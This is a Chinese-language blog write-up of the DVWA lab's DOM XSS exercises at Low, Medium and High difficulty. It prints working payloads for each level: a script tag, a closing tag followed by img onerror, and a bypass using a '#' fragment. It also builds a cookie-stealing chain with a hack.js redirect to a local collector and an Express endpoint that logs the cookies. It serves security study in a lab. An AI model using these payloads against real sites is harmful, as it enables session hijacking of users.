最近需要补充一下网络安全方面的知识,于是就从基础的靶场 DVWA (Damn Vulnerable Web Application) 开始刷起,这一篇是关于从Low到High难度的跨站脚本攻击的内容。
和我一样希望学习网络安全知识的同学,推荐学习《Web安全攻防实战》和《安全攻防技能30讲》。
参考上一篇关于 Brute Force 暴力破解密码的博客。
Figure 1. XSS DOM \text{Figure 1. XSS DOM} Figure 1. XSS DOM
先从 Low 难度开始,这是一个下拉选择框,我们先看一看构成选项的Javascript代码,这里会将URL中的default关键字的值拼接到HTML中。
if (document.location.href.indexOf("default=") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8); document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); } document.write("<option value='English'>English</option>"); document.write("<option value='French'>French</option>"); document.write("<option value='Spanish'>Spanish</option>"); document.write("<option value='German'>German</option>");再看一看服务端的代码,Low难度没有对URL进行任何控制。
<?php # No protections, anything goes ?>比如我们想要窃取别人的Cookie的话,只需要诱导他点击下面的链接。
http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English<script>alert(document.cookie)</script>Figure 2. Cookie \text{Figure 2. Cookie} Figure 2. Cookie
当然,这个链接太明显了,别人不一定会点击,我们可以在服务器上挂一个网页,从网页转到这个链接即可。
这里我们仅在本地调试,我们在本地8888端口挂一个hack.js文件,这里的命令将会把Cookie发送到hack接口。
window.location.href = "http://localhost:8888/hack?cookie=" + document.cookie;再构造一个跳转页面作为index.html。
<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <style> div { text-align: center; } </style> </head> <body> <div> <p> 页面跳转中,请稍候。。。 </p> <script src="transfer.js"> </script> </div> </body> </html>下面是页面中执行的transfer.js文件,它将当前页面跳转到XSS,然后执行hack.js,把cookie发送到了hack端口。
window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English<script src=http://localhost:8888/hack.js>\</script>";服务端以Express为例,hack端口输出了传入的cookie,并将页面再重定向到 www.baidu.com。Express 的具体配置可以参考另一篇博客。
var app = express(); app.get('/hack', function (req, res, next) { console.log("-----------------"); console.log(req.query.cookie); console.log("-----------------"); res.redirect('http://www.baidu.com'); });最后cookie显示在了服务端的日志中。
Figure 3. Show Cookie \text{Figure 3. Show Cookie} Figure 3. Show Cookie
接下里是 Medium 难度。
我们先查看一下源码,这里对default属性的值做了一个判断,如果包含<script则将其值恢复到English,会将URL中的JavaScript脚本筛除掉。
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>script标签不能用了,我们还可以使用img标签访问一个不存在的资源,然后在onerror中调用JavaScript代码。
如果用document.write在select标签中写入img标签,会被自动抹除掉,所以要闭合option和select标签
把transfer.js改成下面这样,就能在onerror中使用alert命令了。
window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English</option></select><img hidden src=x οnerrοr=alert(document.cookie)>";Figure 4. Medium \text{Figure 4. Medium} Figure 4. Medium
不过这里因为不能把字符串和变量区分开,所以不能使用更加复杂的JavaScript代码。
要实现把cookie发送到服务端,我们还可以在URL中使用 # 符号,# 在URL中用来在页面中进行定位,浏览器不会把 # 后面的值发送到服务端。
所以,我们在transfer.js中加入一个 # 符号。
window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English# <script src=http://localhost:8888/hack.js>\</script>";这样就能绕过检查规则,达到向我们的服务器发送cookie的目的了。
Figure 5. Show Cookie \text{Figure 5. Show Cookie} Figure 5. Show Cookie
接下来是High难度,源码如下。
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>这里使用了白名单,只允许 default 属性为4个合法值。用上面提到的#符号同样可以绕过。
window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English# <script src=http://localhost:8888/hack.js>\</script>";Impossible就基本上没有什么安全漏洞了。
<?php # Don't need to do anything, protction handled on the client side ?> if (document.location.href.indexOf("default=") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8); document.write("<option value='" + lang + "'>" + (lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); } document.write("<option value='English'>English</option>"); document.write("<option value='French'>French</option>"); document.write("<option value='Spanish'>Spanish</option>"); document.write("<option value='German'>German</option>");JavaScript中没有对URL进行解码,English后面的脚本会被URL编码后放在选项中,脚本不会执行。
Figure 6. Impossible \text{Figure 6. Impossible} Figure 6. Impossible
联系邮箱:curren_wong@163.com
:https://me.csdn.net/qq_41729780
知乎:https://zhuanlan.zhihu.com/c_1225417532351741952
公众号:复杂网络与机器学习
欢迎关注/转载,有问题欢迎通过邮箱交流。
